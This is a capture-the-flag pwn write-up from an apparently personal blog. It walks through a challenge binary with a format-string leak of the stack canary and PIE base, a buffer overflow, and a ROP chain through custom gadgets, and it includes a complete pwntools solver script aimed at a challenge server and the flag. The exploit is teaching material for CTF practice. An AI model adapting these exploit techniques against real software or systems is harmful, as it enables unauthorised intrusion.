archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

MOJO-JOJO CTF / Pwn WRITEUP

CS 12.06 - SYSTEM 2.0

XIIVI ONCE SAID "IINEK DIMA AL HOLILA"…

EVENTMOJO-JOJO CTFCATEGORYPwnDIFFICULTYmediumPOINTSArchived
Format String + Canary Leak + ROP via Custom Gadgets

Walkthrough

Reconnaissance

pwndbg> checksec ./challenge
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Full protections enabled — canary, NX, and PIE. This is a multi-stage exploit.

Vulnerability Chain

Step 1: Format String Leak (in _log_handler)

printf(buffer);  // format string vulnerability!

We leak the stack canary at offset %17$p and the PIE base at offset %19$p:

io.sendlineafter(b"required: ", b"%17$p.%19$p")
# Canary: 0x... PIE return addr: 0x...

Step 2: Buffer Overflow (in _auth_guard)

read(0, secure_phrase, 256);  // 256 bytes into 32-byte buffer

With the canary leaked, we can overflow and restore the canary to bypass the check.

Step 3: ROP via Custom Gadgets

The binary contains hand-crafted gadgets in _proc_ctx: - gadget1 (_proc_ctx_1): pop rbx; pop rbp; pop r12; pop r13; mov r14,[rsp]; mov r15,[rsp+8]; ret - gadget2 (_proc_ctx_2): mov rdx,r14; mov rsi,r13; mov edi,r12d; xor rbx,0x1337; call *[r15+rbx*8]

The trick: _k_dispatch_table is a function pointer to _sys_maintenance. We set rbx = 0x1337 so rbx ^ 0x1337 = 0, indexing [r15] = _k_dispatch_table, which calls _sys_maintenance(0x1206, 0x1161, 0xcafebab) — the magic arguments that decrypt and read flag.txt.

Result

[+] Canary recovered: 0xa1b2c3d400000000
[+] PIE Base found:   0x555555554000
>>> DATA EXFILTRATED: MOJO-JOJO{f0rm4t_str1ng_t0_r0p_ch41n}

Reference solver

The reference solver supplied with the writeup:

from pwn import *

context.binary = b = ELF('./challenge', checksec=False)

def get_io():
    if args.REMOTE:
        return remote(args.HOST or '4.233.210.175', int(args.PORT or 9006))
    return process(b.path)

# Single connection for Leak + Exploit (Canary is process-specific)
io = get_io()

# Leak Canary (17) and PIE (19)
io.sendlineafter(b"required: ", b"%17$p.%19$p")
io.recvuntil(b"confirmed: ")
leaks = io.recvline().strip().decode().split('.')
canary = int(leaks[0], 16)
pie = int(leaks[1], 16)

b.address = pie - 0x162c
success(f"Canary recovered: {hex(canary)}")
success(f"PIE Base found:   {hex(b.address)}")

# Proceed to _auth_guard overflow in the same session
payload = flat([
    b"A"*40, canary, b"B"*8,
    b.address + 0x1498, # ret
    b.address + 0x1482, # gadget 1 (_proc_ctx_1)
    0x1337, 1, 0x1206, 0x1161, 0xcafebab,
    b.address + 0x40b0, # k_dispatch_table
    b.address + 0x149b  # gadget 2 (_proc_ctx_2)
])

io.sendafter(b": ", payload)
print(io.recvall(timeout=5).decode('utf-8', 'replace'))
io.close()

Flag

MOJO-JOJO{f0rm4t_str1ng_t0_r0p_ch41n}
Published 2026-09-28 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS